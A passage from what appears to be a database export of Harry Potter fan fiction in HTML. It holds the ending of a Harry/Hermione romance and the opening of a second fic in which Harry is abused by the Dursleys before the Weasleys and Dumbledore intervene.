style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nline-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nI opened the door, and saw Hermione crying into her pillow.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nline-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Herm? You OK? I know what Ron did to you, and I don&#8217;t blame you for crying. Do\nyou need anything? If you need me, I&#8217;ll be in the common room.&#8221; I waited for an\nanswer.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nline-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Leave me alone Ha-harry. I&#8217;ll come down in a bit.&#8221; was the only I got from\nher. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nline-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nWhen I got down there, Ginny was waiting for me.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nline-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Hey, Gin!&#8221; I greeted my girlfriend joyfully.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nline-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Hi, Harry, we need to talk,&#8221; she replied.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nline-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;About what?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nline-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Us.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nline-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Us?&#8221;&nbsp;&nbsp; </p>\n\n<p class="MsoBodyText">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;I can&#8217;t see you anymore. I really didn&#8217;t love you it was only a crush. I just\nwas excited that you invited me out, but kissing and hugging you is like\nkissing my brother. I&#8217;m sorry.&#8221;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nline-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;It&#8217;s OK&#8230;&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nline-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Harry? I&#8217;m really sorry.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nline-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;G&#8217;bye Gin, I need to do homework.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nline-height:150%">The end of our relationships we\nthought were going to last forever. Damn.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nline-height:150%">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~(Third\nPerson)~~~~~~~~~~~~</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nline-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n(September, 7th year)</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nline-height:150%">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nline-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nHarry and Hermione were alone in the compartment. Ginny and Draco were snogging\nsomewhere, and the same thing went for Ron and Lavender. Harry noticed that\nHermione looked really pretty. They weren&#8217;t in their robes yet, so Hermione was\nstill in Muggle clothes. It was a somewhat chilly day, so she was wearing these\ndark blue stretch jeans that were skin-tight to her knees, then flared out to\nher feet. She had a sleeveless white shirt on with a black circle just a bit\noff center with a bunch of lines coming out from it, and it was covered in\nblack glitter. She had on shiny pink lip-gloss, and cream glitter eye shadow.\nHer hair was curly, and hung just a little past her shoulders. (A/N- like her\noutfit/description? I have those jeans and that top, plus that is how my hair\nis if I don&#8217;t blow-dry it. And I have that makeup! :)End A/N)</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nline-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Harry? Umm, do you like me?&#8221; Hermione broke the silence.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nline-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Huh? What do you mean?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nline-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;I mean, do you like me more than a friend? I&#8217;ve sort of have had a crush on\nyou since 5th year, but I thought it was puppy love, like Ginny had for\nyou.&#8221;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nline-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Umm&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nline-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;I&#8217;ll leave then.&#8221; She stood up.</p>\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nline-height:150%;border:none;mso-border-bottom-alt:solid windowtext .75pt;\npadding:0in;mso-padding-alt:0in 0in 1.0pt 0in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;No, Hermione, wait!&#8221; Harry stood up, and kissed her. It slowly deepened, and\nsoon they were snogging like there was no future. They reached Hogwarts, and\nwere known as the Head Couple. (Head Boy/Girl, hello!)&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nline-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n(Graduation)</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nline-height:150%">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nline-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;When I first came to Hogwarts, I had no idea what to expect. That was seven\nyears ago. But, every year when I was on the Hogwarts Express, I would wonder\nabout the upcoming year, because there always was a new adventure. I want to\nthank Ron for helping me, Professor Dumbledore for guiding me, and Hagrid for\nbeing my friend. I would also like to thank my girlfriend, Hermione, for always\nbeing there. I wanted to do this before, but I&#8217;ll just ask you now. Hermione,\nwill you please do the honor of marrying me? I promise I&#8217;ll always protect you,\nno matter what, and always love you. Please?&#8221; Harry got down on one knee and\nheld out the ring, which Sirius had found for him. It was his mother&#8217;s\nengagement ring. Hermione stood up, and walked over to the microphone.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nline-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Ladies and Gentlemen, please excuse me for this, but I forgot my speech,\nbecause of what just happened. Harry, of course I&#8217;ll marry you, I love you and\nwould never leave you!&#8221; With that, Harry swept her into a kiss, and slipped the\nring onto her finger. Everybody cheered and laughed, talking about their\ngraduations. Remus Lupin and Sirius Black just reminisced about theirs, when\nJames asked Lily to marry him in the same fashion.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nline-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;I love you Future Mrs. Potter&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nline-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;I love you, Harry&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nline-height:150%">&nbsp;</p>\n\n<p class="MsoNormal">THE\nEND </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nline-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nThis was inspired by recent messages at\nhttp://groups.yahoo.com/group/HHShippersAnonymous. Un beta&#8217;d. Birthday Present\nfor Nightfall!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nline-height:150%">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nline-height:150%">DEDICATED TO THE HHSA AND\nNIGHTFALL!!!!!!!!!!!!!!!!!!!!!!!!!!!!</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nline-height:150%">Laura aka Rose </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(6, 1, '\n\n\n\n<p>Disclaimer: I don&#8217;t own any of these characters unfortunately. But God- otherwise known as J.KRowling does. So please don&#8217;t sue, since you can&#8217;t sue someone who don&#8217;t have no money in the first place.</p>\n<p>Summary: Harry begins to get inklings of his real power, and finds out a few more things about himself. H/H shippiness. Starts off kind of dark, mentions child abuse, so if you don&#8217;t like that kind of thing, give this fic a miss. If you don&#8217;t mind, be prepared for an epic spanning the last three years of Harry&#8217;s schooling. Some pretty big battles between Good and Evil to come. Next part of this fic will be called &#8220;Harry Potter and the Power of Gaia&#8221;. Please R/R, constructive criticism welcome, ideas too, audience participation is welcome in my fic, but I have an overall story arc worked out, so I won&#8217;t be going to far past it. Anyway, that&#8217;s enough from me, just read and enjoy.   &gt;*_*&lt;</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>Harry Potter and the Truth of Rumours.</p>\n\n<p>&nbsp;</p>\n<p> Twilight heralded darkness, save for the softly glowing moon, that shone through the smothering clouds. Harry looked up at the moon, and the ever present clouds chasing it, threatening to block out the only form of light he had that night. The only thing making him feel faintly safe, apart from Hedwig, who was gently snoring from beneath her wing, two feathers fluffing, as her breath caught against them. Briefly Harry felt envy for the beautiful snowy white owl. At anytime, as long as Harry was there, she could be let out. She could fly away, high and above the clouds, to where the moon was still visible in all it&#8217;s glory. What he wouldn&#8217;t give to be that free. Or to just be a normal boy sometimes. As much as he loved being a wizard, most of the time it had only brought him heartache and suffering, what happened with Voldermort during the Triwizard cup was a prime example of that. </p>\n<p> If it were possible, things were starting to get even worse at the Dursley\'s this summer. Though he had gotten used to either being ignored, or forced into household chores, they were now almost constantly making snide comments, and had increased the dosage of telling him how lucky he was to have been taken in by them at all, &#8220;after all, I would have sent you to the orphanage down the road, if it weren&#8217;t for that idiot headmaster of yours, leaving a note to say he would be expecting to contact you about that school, when yer 11.&#8221; Uncle Vernon, had rather proudly told him. And unfortunately, he had finally seen past Harry&#8217;s helpful ruse about his godfather Sirius, being on the lookout for him. Now Harry was almost always locked in the house, all of his school supplies had been locked into the cupboard under the stairs. Though Harry had tried to tell him that this year, his summer homework was even more important, for his upcoming O.W.L&#8217;s. But this news seemed to only please Uncle Vernon. He told him that if were any good at being a wizard at all, he wouldn&#8217;t have to do his homework. This also meant, that he and Dudley had acquired an almost cocky attitude around him. Though they still hated his &#8216;abnormality&#8217;, they no longer cared about possibly invoking Harry&#8217;s anger, having gotten the idea, that if he practised anymore magic outside of term-time-something not allowed for under-aged wizards, and for which Harry had already been told off about before-that Harry would almost certainly be expelled from Hogwarts. Dudley made obvious his glee, by trying to goad Harry into using magic as often as possible, usually by repeatedly punching him in the stomach, or ,as had happened last week, his face, breaking his glasses in two, causing a nose bleed, and then taunting him as Harry had to tape the two pieces together, not being able to use the spell Hermione had taught him to mend them. And unfortunately, Uncle Vernon, had become somewhat more physically aggressive too, he, being a fully grown man, could pack far more power into his punches. And now humiliatingly, they insisted on going through any mail he received from his friends. More than once this had incurred Uncle Vernon&#8217;s wrath. As he read about Muggles, and his friends enquiries as to how they were treating him. Harry&#8217;s  Uncle had wanted to know just what he had told his wizarding friends about the Dursleys. That and they took any of the food supplies his friends normally sent, so he had nothing to fall back on, whenever they decided he shouldn&#8217;t be fed. And he was made to watch as all those wonderful Cauldron cakes, pumpkin pies, chocolate frogs, and Bertie Botts every flavour beans, were all tipped into the kitchens bin.</p>\n<p> So, if anything, Harry was having the worst year of his life, cruelty from the Dursley&#8217;s was starting to become unbearable, he couldn&#8217;t write to any of his friends about what was going on- Uncle Vernon insisted on checking that Hedwig was always in her cage by 8am, and didn&#8217;t go out until past 10pm, he figured out that it would take her much longer than this to reach any of Harry&#8217;s friends, or more importantly, Sirius or Dumbledore -and he was suffering from a lack of food, in fact, Aunt Petunia, was the only one of the Dursley&#8217;s who tried to get him food. Perhaps she was scared of the consequences if Harry starved to death in the holidays. But Harry wondered if it was that. Though she still fawned over Dudley, being her pride and joy, there was something close to compassion registering in her eyes whenever they met Harry&#8217;s gaze. Perhaps seeing the way Harry was now being repeatedly beaten, it was starting to register that treating another human being this way-even a wizard- was not acceptable behaviour. That and hearing Harry waking up screaming every night, from his nightmares, perhaps, if Harry could dare to wish, she was starting to feel something for him. If not as her nephew, then at least as a human being. </p>\n<p> But Harry could only hope. And give a faint smile of gratitude, every few days when Petunia would sneak a plate of leftovers up to his room, always mumbling something about being on a diet. Clearly she didn&#8217;t want to let him think she was starting to care, that or it was the only thing she could think of as a cover, if Uncle Vernon ever found her delivering leftovers to Harry&#8217;s room. Tonight though, that lifeline had been intercepted. A giggling Dudley saying -rather loudly, for Harry&#8217;s benefit- Thank you for his late-night snack. Harry had come to suspect that his Uncle had seen one of those documentaries on the human body. The ones where they have scientists that tell you that the human body can survive a  few months without food, and three days without water. And that Uncle Vernon had signed him up for some experiment, to test this. And on account of not receiving Aunt Petunia&#8217;s leftover late-night snack, it had now been four days since Harry had anything even approaching a normal meal. Hedwig had, somehow managed to get some fruit, something Harry had eaten very quickly, for it was already soft and wouldn&#8217;t keep for long.</p>\n<p> Hedwig&#8217;s wing fluttered, and she removed her head gently from its resting place. Immediately, she looked at Harry, her gaze shifting from head to toe, as if to assess his condition. He smiled to reassure her, though he could do nothing to hide his limp, as he moved to open her cage. Uncle Vernon had hit him with Aunt Petunias rolling pin earlier that day, for not making the pastry for the pasties he was making, perfectly round. </p>\n<p> When he opened her cage, Hedwig came forward, and nibbled affectionately on his ear. Harry noted, to his dismay, that even she seemed a little thinner than normal. He would always share any of the food the Dursley&#8217;s saw fit to bestow on him, with her, but she had obviously had to fall back on hunting for food at night.</p>\n<p> Hedwig took flight from the cage, flew across the room, and came to a landing on his bed, pointing a wing tip against the one possession, Uncle Vernon had allowed him to keep a hold of. </p>\n<p> His photo album. </p>\n<p> It was open on a page with a picture of Harry, Hermione and Ron, all smiling and waving up at him. The Photo Hermione blew a kiss at him, then blushed as Photo Ron, rather obviously made a crude joke. Even Photo Harry blushed, before smacking Ron in the head.</p>\n<p> Harry was lucky that Hedwig was such an intelligent Owl, and that she could always find a way to communicate with him. Unfortunately he didn&#8217;t speak Owl yet. At this moment, it was clear that Hedwig wanted to take a message to either of his friends.</p>\n<p> He shook his head gently.</p>\n<p> &#8220;No girl, you can&#8217;t.&#8221; he said softly.</p>\n<p> &#8220;Uncle Vernon would be very angry if you weren&#8217;t here when he checked in the morning. He&#8217;d probably...&#8221; he trailed off, not wanting to finish the sentence, or the thought. Hedwig hooted softly and quietly. He stroked her favourite spot, just above the shoulder blade of her left wing, then opened the window, and watched as she reluctantly flew out of it. All the while he was berating himself for wishing she could fly just a little faster. He sighed, leaving the window open, the cool breeze necessary in the small, stuffy room. He limped back across to the bed, and stared wistfully at the photo album before him. Before he packed it away under his bed, slid himself between the thinning cotton sheets, and then tried, as he did every night, to get some sleep.</p>\n\n<p align="CENTER">~o0o~</p>\n\n<p> A soft clicking sound awoke Harry from a light and thankfully dreamless sleep. As his eyes flickered open, they registered the fact that it was barely daylight, and that Aunt Petunia had opened the door, and moving towards him. A plate of what looked like meatloaf and tomatoes in her hand. He sat up gently, so as not to aggravate his bruised ribs. Petunia settled the plate on his lap, and turned to leave. But Harry, finally decided he wanted to know why. He put a hand on her arm, gripping it gently, as she turned back to face him, he let go.</p>\n<p> &#8220;Aunt Petunia........th...thank you.&#8221;</p>\n<p> Her face twitched. For a moment, it looked as though she might cry. And then she turned away, wordlessly, moving towards the shadows of the hallway.</p>\n<p> &#8220;Aunt Petunia?&#8221; Harry whispered. She stopped and looked back at him.</p>\n<p> &#8220;Why are you doing this for me?&#8221;</p>\n<p> Her face twitched again. And again, before a single tear erupted from the duct of her left eye. And she stuttered out a reply.</p>\n<p> &#8220;I......I.....No one, not even.......I.........not even wizards, d-deserve this.&#8221;</p>\n<p> And then cat-like, she crept from the room. He heard a soft click as she was obviously trying to padlock him in again, without making too much noise.</p>\n<p> Harry looked down to his first meal in days. It was rather pathetic. Two cold slabs of old meatloaf, a tomato, and three smaller cherry tomatoes. It wasn&#8217;t much, but Harry realised that Aunt Petunia was risking being found out, if she took much more. A risk, that in Harry&#8217;s mind, elevated  her to his favourite blood relative. Though considering the competition, it wasn&#8217;t anything to boast about. </p>\n<p> Putting a piece of meatloaf to one side for Hedwig, he tucked in. He savoured every last drop of juice from the tomatoes, rolling it around over his tongue, licking his lips.</p>\n<p> A sudden flicker of feathers at his window caught his attention. Then there was a flash of white, then a wing tip before, finally three birds appeared before him. One was Pig, Ron&#8217;s Owl, and another he didn&#8217;t recognise, were holding up an exhausted looking Hedwig. They flew in, and Harry immediately laid Hedwig on his bed, noticing a letter strapped to her leg. Stroking her nervously, he untied the letter bound to her. Pig, was uncharacteristically quiet, normally he would be elated at having delivered , and would be flying at top speed around the room. But this time, it was almost as if he understood the need for quiet, at this time more than any other. The other Owl perched itself atop Harry&#8217;s side cabinet, and had a Hogwarts crest strapped to it&#8217;s wing.</p>\n<p> Harry glanced nervously at the letter, half expecting Uncle Vernon to burst in and start hitting him now. But he realised that the Owl&#8217;s had arrived soundlessly.</p>\n<p> Turning the envelope over in his hands, he savoured the moment, being able to touch and read his own name, written in Ron&#8217;s recognisable scrawl. He wasn&#8217;t having to glance at it over Uncle Vernon&#8217;s shoulder, answering many awkward questions about its contents. It felt like the most wonderful to have happened to him in months. </p>\n<p> He opened it quickly, but quietly, and began to read.</p>\n\n<p> *Dear Harry,</p>\n<p>                     I&#8217;m sorry we didn&#8217;t realise sooner that something must be wrong at your house. Me + Hermione were getting worried when you didn&#8217;t write back. But a few days ago, Pig came flying back with a letter from Herm, and one of your school ties. We didn&#8217;t know what was going on, so Dad got Pig to fly out again last night, and followed him. And he met Hedwig! This time she was carrying, and I hope to God your alright mate, a tissue with blood on it.</p>\n<p> Dad went nuts when he got back, zooming all around the ministry, looking for Dumbledore to tell what had happened, that and convince a load of ministers that your worse off were you are. So we could get permission for you to stay. We only just found out about some of that magic that&#8217;s supposed to be protecting your house from You-Know-Who.</p>\n<p> But you can stay!</p>\n<p> We&#8217;re to come and get you at 11pm, on the night before your birthday. So tell those muggles where to go, your coming to live with us for the rest of the holidays!!</p>\n<p> Don&#8217;t worry, we&#8217;re not expecting a reply, even if you never got to read this letter, we&#8217;d be coming anyway.</p>\n<p> See you soon, and hope your safe.</p>\n<p>                                                           Ron.*</p>\n<p> Harry almost fell off his bad in excitement. Two more days? Two more days, was that it? Two more days and  he would be free of the starvation, the humiliation, being beaten up every day. And most importantly, free of the Dursleys? Not only that but he would be able to celebrate his birthday with people who actually cared about him. Harry became more and more happy at the thought of leaving, but then one thing struck him. Was Aunt Petunia safe? It would have been incredibly dumb of  Harry not to notice that Uncle Vernon was drinking more, the smell on his breath, was usually present whenever he was about to beat Harry to a pulp. From what he could tell, Uncle Vernon&#8217;s business wasn&#8217;t doing that well, something that naturally, he blamed on Harry.</p>\n<p> But for now, Harry shared out the meatloaf between the Owl&#8217;s, the Hogwarts fluffed out it&#8217;s chest importantly, moved away from the proffered meal, and looked at him for a moment, as if waiting for something. It clicked in Harry&#8217;s mind, she was waiting for return mail.</p>\n<p> &#8220;I&#8217;m sorry. I don&#8217;t have anything to write on.&#8221;</p>\n<p> At that moment, the Owl lifted it&#8217;s leg, to reveal the end of a pointed quill. Pig- who had been busily devouring his meal- flew up and dropped a small vial of ink into his hand. Harry smiled softly. Trust Dumbledore, he thinks of everything. And he quickly got to work, writing out his reply, on the back of Ron&#8217;s letter. Luckily it was a Saturday, and he had at  least four hours before Uncle Vernon would be up and wanting any food.</p>\n<p> He looked over his reply, satisfied that it wouldn&#8217;t panic them by letting them know just how bad it really was. Though Hedwig had certainly already done that, by taking the bloody tissue, a leftover from his nose bleed.</p>\n<p> *Ron, </p>\n<p>       I&#8217;ll be waiting by my bedroom window, I hope you can find your way. If you can help it, try to find a way to get here without disturbing the muggles. It would be better if you could get to me without Uncle Vernon finding out. He won&#8217;t be very happy if Wizards starting popping out of the fireplace again. Please bring some food for Hedwig.</p>\n<p> And don&#8217;t worry about me. I&#8217;ve spent the last three weeks here, another two days won&#8217;t kill me -I hope.                           Harry*</p>\n<p> Looking over the last part, he added &#8216;just kidding&#8217;, he didn&#8217;t want to sound as desperate as he was.</p>\n<p> Unfortunately when he saw them in a few days, he knew his appearance, would give it away. He knew that he&#8217;d lost a lot of weight. Normally when he came back form Hogwarts, he&#8217;d have a little pot belly, a testament to his spurt of over-eating, and no Quadditch. It was always enough to see him through the summer, but due to the events of last year, eating had been the last thing on his mind, so he&#8217;d lost weight, before he&#8217;d even arrived at the Dursley&#8217;s. He wasn&#8217;t sure, but ht thought he might be paler, but his skin was bound to look pale in comparison to the vast array of bruises and swellings that littered the rest of his body. </p>\n<p> He hurriedly began tying the message to Pig&#8217;s leg, when the sound of someone stirring in another room scared him. Making his apologies to the to other Owl&#8217;s, for not allowing them to rest, he motioned for them to leave. Pig flew out, some of his excitement at delivering mail had returned. Harry quickly cleared the ink and quill away under the loose floorboard. He heard the shifting noise again. He could tell it was Uncle Vernon, moving his bulky frame into the hallway, the number of steps, told Harry that he&#8217;d bypassed the bathroom, and could only be heading to his or Dudley&#8217;s room. Moving to close the window, he saw that the Hogwarts Owl was still there. An unmistakable look of sadness played out across its features. He shooed it out and shut the window.</p>\n<p>&#8220;BOY&#8221;</p>\n<p> Uncle Vernon slammed into the room.</p>\n<p> &#8220;What&#8217;s all this noise?&#8221;</p>\n<p> Harry held back his initial retort of &#8216;Why Uncle, it&#8217;s you.&#8217;. And motioned to Hedwig, who had somehow gotten over to her cage, and was now perching tall and proudly within it.</p>\n<p> &#8220;I had to let her in.&#8221; he said quietly.</p>\n<p> &#8220;That blasted bird again! I will take a shotgun to her one day.&#8221; And he moved towards her cage. Hedwig&#8217;s posture slumped, she looked afraid. Harry knew what was coming, the moment he had stepped protectively in front of her cage. Hedwig did too, and began squawking, and spread her wings, as if readying to attack. But he closed the door on her cage. No matter what, he wouldn&#8217;t let her get hurt.</p>\n<p> And so it began, Harry was being knocked around the room like a rag doll, unaware, that outside his window, an Owl, baring the Hogwarts crest, was watching angrily. After ten minutes it had seen enough, it turned, and flew to a nearby darkened alley. </p>\n<p> It landed, and plucked the hidden wand from amongst its wing feathers. And began to change. A few moments later, Madam Hooch held out her wand, and flagged down the Nightbus. She got on, threw the fare to a startled Stan, shouted the Burrow at him, and wandered to find a seat, all the while cursing the name Dursley.</p>\n\n<p align="CENTER">~o0o~   </p>\n\n<p> Later that day, Harry was disbelievingly being moved back into the cupboard under the stairs. It as definitely smaller than he remembered, then again he was about a foot and a half taller now. Despite being barely strong enough to walk, Uncle Vernon insisted that Harry take his things from the cupboard and put them into the attic, though once again he allowed Harry to keep his photo album. He had heard Uncle Vernon tell his wife that having those photos would probably make Harry feel worse, and he wasn&#8217;t far wrong.</p>\n<p> Then, along with Hedwig-not in her cage- he was shut in the dark, in the small cupboard where he couldn&#8217;t even stretch his legs. His only hope, that in one night and two days, the Weasleys were coming to get him. </p>\n\n<p>&nbsp;</p>\n<p> Far away in a small, mostly muggle inhabited village, the sound of angry, non-magical cursing filled the Weasley&#8217;s house.</p>\n<p> &#8220;We never should have let him go there. I don&#8217;t care about You-Know-Who, anything is better than leaving Harry with that bloated b*****d one more moment!&#8221;</p>\n<p> The Weasley children were all stood listening outside, ears pressed to the kitchen door, in shock at the progressively stronger muggle cursing their father was using. Though all of them Ron, Ginny, Fred and George could understand the need for it. Fred and George had, had to pull Ron back, from going in to voice his own colourfully-worded opinion at Dumbledore and Cornelius Fudge, when Madam Hooch had returned. She had launched into a very graphic description of everything she&#8217;d seen, magically altering her lungs, so she wouldn&#8217;t have to pause for breath. She particularly lingered over Harry&#8217;s protectiveness of Hedwig, and Uncle Vernon&#8217;s violent reaction to this. She had described in painful detail, every kick, punch and glancing blow delivered to his already frail-looking form.</p>\n<p> Ron, now had to wait, along with the others for Dumbledore to defend his position, in the current argument. He had always known that life with the Dursleys had not been particularly pleasant for Harry, it was just one of the reasons he was keen for his friend to stay in the holidays. But he had never imagined from Harry&#8217;s apparently toned down description, that it was outright physical abuse. It made him feel sick to think about everything Harry had been through in the past year. First that stupid tournament, and as Ron felt very guilty about this, his own petty jealousy. Then there was everything that had happened when Harry was kidnapped by Lord Voldermort, now risen and thanks to the rather gruesome ceremony, that necessitated the use of Harry&#8217;s blood, he could touch Harry now without fear of going the way of Professor Quirrel. And now his Uncle was hurting him, and from what Madam Hooch had described, he had been doing so since Harry&#8217;s return.</p>\n<p> Once again a steam of muggle expletives exited their father&#8217;s mouth. And finally Dumbledore responded.</p>\n<p> &#8220;Arthur, I know as well as anyone here what Harry has faced for years, though I will admit I had not dared hope it would ever become so bad. But as I have already told you, we cannot remove Harry from the Dursley&#8217;s before he turns fifteen, to do so would...I am sorry, I cannot tell you more. We must wait, as much as it pains me so, we must wait.&#8221;</p>\n<p> A chorus of objections came from Mr &amp; Mrs Weasley, Madam Hooch, and Bill. It seemed that only Cornelius Fudge was on Dumbledore&#8217;s side. Everyone was talking at once, Mrs Weasley sounded as though she were close to tears, and then finally, the loud sound of someone banging their fist on the table, and the talking ceased. Fudge, who up until this point had remained silent, began to speak.</p>\n<p> </p>\n<p>&#8220;I have been a fool. A few months ago, I was witness to the events of the Triwizard Cup. I saw the aftermath of You-Know-Who&#8217;s resurrection. Cedric Diggory dead, Bartimus Crouch, Bertha Jorkins, how many more? Harry almost died that night, and yet I refused to believe. I could not and did not want to believe, that those dark times were coming again. </p>\n<p> But when muggles and wizards alike started to disappear, some turning up in ditches and ...&#8221;</p>\n<p>There was a pause as, though unseen by the children, Fudge shook his head, as though trying to shake the images from his mind.</p>\n<p> &#8220;A few weeks ago, there were Deatheater sightings, and then Markus Ravencast was found dead in his home, the Dark Mark above it.&#8221; </p>\n<p> There was a collective gasp from everyone listening.</p>\n<p> &#8220;The ministry covered it up of course, but seeing him .... it forced me to deal with what I had been told months before. I have seen his new handiwork, I think that there is much worse to 